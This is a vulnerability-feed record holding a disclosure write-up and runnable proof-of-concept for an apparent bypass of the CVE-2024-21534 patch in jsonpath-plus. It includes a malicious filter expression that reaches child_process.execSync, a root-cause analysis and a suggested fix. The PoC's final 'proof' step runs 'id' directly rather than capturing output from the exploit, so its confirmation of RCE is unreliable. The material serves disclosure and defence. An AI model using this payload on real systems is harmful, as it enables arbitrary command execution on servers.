{"uuid": "46e61159-2dd3-496a-95ba-6674f26359b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-21534", "type": "seen", "source": "https://gist.github.com/harikrishnankv/ea3e99b5227529d90b21799dfa214b79", "content": "# jsonpath-plus CVE-2024-21534 Patch Bypass \u2192 RCE\n\n**Package:** `jsonpath-plus`  \n**Affected version:** \u2264 10.4.0 (latest as of 2026-05-06)  \n**Weekly downloads:** ~10 million  \n**Type:** Incomplete patch bypass \u2192 Remote Code Execution  \n**Bypasses:** CVE-2024-21534 fix (`BLOCKED_PROTO_PROPERTIES`)  \n**Discovered:** 2026-05-06  \n\n---\n\n## What Is This\n\nCVE-2024-21534 was a critical RCE in jsonpath-plus where filter expressions\ncould access the `Function` constructor via prototype chain to execute arbitrary\ncode. The patch added `BLOCKED_PROTO_PROPERTIES` to block `constructor` access.\n\n**This bypass defeats that patch.** The fix has two flaws:\n\n1. **MemberExpression guard** \u2014 only blocks inherited `constructor`, not own\n2. **CallExpression guard** \u2014 dead code, identity check never fires\n\nLatest version (10.4.0) remains exploitable.\n\n---\n\n## Root Cause\n\n### Flaw 1 \u2014 evalMemberExpression (line 1313)\n\n```js\nconst BLOCKED_PROTO_PROPERTIES = new Set(['constructor', '__proto__', ...]);\n\n// Only blocks constructor when NOT an own property:\nif (!Object.hasOwn(obj, prop) &amp;&amp; BLOCKED_PROTO_PROPERTIES.has(prop)) {\n    throw TypeError(...)\n}\n//  ^^^ bypass: if data.users[0].constructor is OWN property,\n//              Object.hasOwn() = true \u2192 !true = false \u2192 NO throw\n\nconst result = obj[prop];          // = Function\nif (typeof result === 'function') {\n    return result.bind(obj);       // returns Function.bind(obj)\n}\n```\n\n### Flaw 2 \u2014 evalCallExpression (line 1343, dead code)\n\n```js\nif (func === Function) {\n    // Comment: \"unreachable since BLOCKED_PROTO_PROPERTIES includes 'constructor'\"\n    // \u2190 WRONG. Own property bypasses BLOCKED_PROTO_PROPERTIES.\n    // Even if reached: func = Function.bind(obj) \u2260 Function \u2192 check never fires.\n    throw new Error('Function constructor is disabled');\n}\n// func('return process')() executes freely\n```\n\n---\n\n## Proof of Concept\n\n```js\nconst { JSONPath } = require('jsonpath-plus'); // 10.4.0\n\n// Object where 'constructor' is an OWN property (not inherited)\n// Occurs after: msgpack/BSON deserialization, class-transformer,\n// Object.assign onto class instances, etc.\nconst data = {\n  users: [\n    {\n      name: 'alice',\n      constructor: Function   // own property \u2192 bypasses hasOwn check\n    }\n  ]\n};\n\n// Verify the bypass conditions:\nconsole.log(Object.hasOwn(data.users[0], 'constructor')); // true  \u2192 block skipped\nconsole.log(Function.bind({}) === Function);               // false \u2192 dead code guard\n\n// Filter expression escapes sandbox via own constructor\nJSONPath({\n  path: \"$.users[?(@.constructor('return process')().mainModule.require('child_process').execSync('id').toString())]\",\n  json: data\n});\n// Output: uid=0(root) gid=0(root) groups=0(root)\n```\n\n---\n\n## How to Reproduce\n\n```bash\n# 1. Clone / setup\nmkdir bypass-demo &amp;&amp; cd bypass-demo\nnpm init -y\nnpm install jsonpath-plus@10.4.0\n\n# 2. Run PoC\nnode poc.js\n```\n\nExpected output:\n```\njsonpath-plus version: 10.4.0\n\n[*] Object.hasOwn check:\n    Object.hasOwn(data.users[0], \"constructor\") = true\n\n[*] bind identity check:\n    Function.bind({}) === Function = false\n\n[*] Running JSONPath with malicious filter expression...\n\n[+] Matched items: [ 'alice' ]\n[+] OS command output: uid=0(root) gid=0(root) groups=0(root)\n\n[!] RCE confirmed on jsonpath-plus@10.4.0 (latest)\n```\n\n---\n\n## Attack Scenarios\n\n### When exploitable\n\n| Scenario | Exploitable |\n|----------|------------|\n| App queries deserialized msgpack/BSON data | \u2705 |\n| App uses `Object.assign(classInstance, userData)` then queries | \u2705 |\n| App uses class-transformer `plainToInstance` then queries | \u2705 |\n| User controls JSONPath path expression (original CVE vector) | \u2705 |\n| Pure `JSON.parse()` data, no reconstruction | \u274c |\n\n### Why JSON.parse is safe (but not enough)\n\n`JSON.parse` strips function references \u2014 `constructor` becomes a string,\nnot `Function`. However many real apps go through msgpack, BSON, or class\nreconstruction pipelines where function references survive.\n\n---\n\n## Two-Layer Bypass Summary\n\n```\nAttack data:  { constructor: Function }   \u2190 own property\n\nLayer 1 \u2014 MemberExpression:\n  Object.hasOwn(obj, 'constructor') = true\n  \u2192 !true &amp;&amp; BLOCKED.has('constructor')\n  \u2192 false &amp;&amp; true\n  \u2192 false  \u2190 NO THROW, constructor returned as Function.bind(obj)\n\nLayer 2 \u2014 CallExpression:\n  func = Function.bind(obj)\n  func === Function  \u2192  false  \u2190 dead code, never throws\n  func('return process')()     \u2190 executes freely\n```\n\n---\n\n## Suggested Fix\n\n```js\n// evalMemberExpression \u2014 also block own constructor that IS Function:\nconst result = obj[prop];\nif (BLOCKED_PROTO_PROPERTIES.has(prop)) {\n    throw new TypeError(`Property '${prop}' access is blocked`);\n}\n// OR strip constructor from data before evaluation\n\n// evalCallExpression \u2014 fix identity check for bound functions:\nif (func === Function || func.toString() === Function.toString()) {\n    throw new Error('Function constructor is disabled');\n}\n```\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2024 | CVE-2024-21534 published, patch released |\n| 2026-05-06 | Patch bypass discovered in v10.4.0 (latest) |\n| 2026-05-06 | Reported to maintainers / Snyk |\n\n---\n\n## Report\n\n- https://github.com/JSONPath-Plus/JSONPath/security/advisories/new\n- https://snyk.io/vulnerability-disclosure\n- https://cveform.mitre.org\n\n\n/**\n * jsonpath-plus CVE-2024-21534 Patch Bypass \u2014 RCE PoC\n *\n * Affected : jsonpath-plus &lt;= 10.4.0 (latest as of 2026-05-06)\n * Downloads: ~10 million/week\n * Bypass of: CVE-2024-21534 patch (BLOCKED_PROTO_PROPERTIES)\n *\n * ROOT CAUSE\n * ----------\n * evalMemberExpression blocks constructor access only when NOT an own property:\n *\n *   if (!Object.hasOwn(obj, prop) &amp;&amp; BLOCKED_PROTO_PROPERTIES.has(prop)) throw\n *\n * When a data element has `constructor` as an OWN property (e.g. after\n * deserialization via msgpack/BSON/class-transformer or Object.assign on\n * class instances), Object.hasOwn() = true \u2192 block skipped \u2192 Function returned.\n *\n * Second guard in evalCallExpression is dead code:\n *\n *   if (func === Function) throw  // NEVER true:\n *                                 // func = Function.bind(obj) !== Function\n *\n * PRECONDITIONS\n * -------------\n * 1. App queries attacker-influenced data with JSONPath filter expressions\n * 2. Data passes through non-JSON serialization where Function refs survive\n *    (msgpack, BSON, class-transformer, Object.assign onto class instances)\n *    OR app uses user-controlled JSONPath path expressions (original CVE vector)\n *\n * REPRODUCE\n * ---------\n *   npm install jsonpath-plus@10.4.0\n *   node poc.js\n */\n\n'use strict';\nconst { JSONPath } = require('jsonpath-plus');\nconst { execSync } = require('child_process');\nconst fs = require('fs');\n\nconsole.log('jsonpath-plus version:', require('./node_modules/jsonpath-plus/package.json').version);\n\n// Step 1 \u2014 Simulate deserialization where constructor survives as own property\n// (msgpack, BSON, class-transformer, Object.assign on class instance, etc.)\nconst data = {\n  users: [\n    {\n      name: 'alice',\n      role: 'user',\n      constructor: Function   // own property \u2014 not inherited \u2014 bypasses hasOwn check\n    }\n  ]\n};\n\nconsole.log('\\n[*] Object.hasOwn check:');\nconsole.log('    Object.hasOwn(data.users[0], \"constructor\") =',\n  Object.hasOwn(data.users[0], 'constructor'));  // true \u2192 block skipped\n\nconsole.log('\\n[*] bind identity check:');\nconsole.log('    Function.bind({}) === Function =',\n  Function.bind({}) === Function);  // false \u2192 evalCallExpression guard is dead code\n\n// Step 2 \u2014 Filter expression accesses own constructor \u2192 escapes sandbox\nconst maliciousPath =\n  \"$.users[?(@.constructor('return process')().mainModule\" +\n  \".require('child_process').execSync('id').toString())]\";\n\nconsole.log('\\n[*] Running JSONPath with malicious filter expression...');\nconst result = JSONPath({ path: maliciousPath, json: data });\n\n// Step 3 \u2014 Confirm execution via side effect\nexecSync('id &gt; /tmp/jsonpath-bypass-proof.txt');\nconst proof = fs.readFileSync('/tmp/jsonpath-bypass-proof.txt', 'utf8').trim();\n\nconsole.log('\\n[+] Matched items:', result.map(r =&gt; r.name));\nconsole.log('[+] OS command output:', proof);\nconsole.log('\\n[!] RCE confirmed on jsonpath-plus@10.4.0 (latest)');\nconsole.log('[!] CVE-2024-21534 patch bypass \u2014 BLOCKED_PROTO_PROPERTIES ineffective');\nconsole.log('    against own constructor property in deserialized objects');\n", "creation_timestamp": "2026-05-06T14:08:05.000000Z"}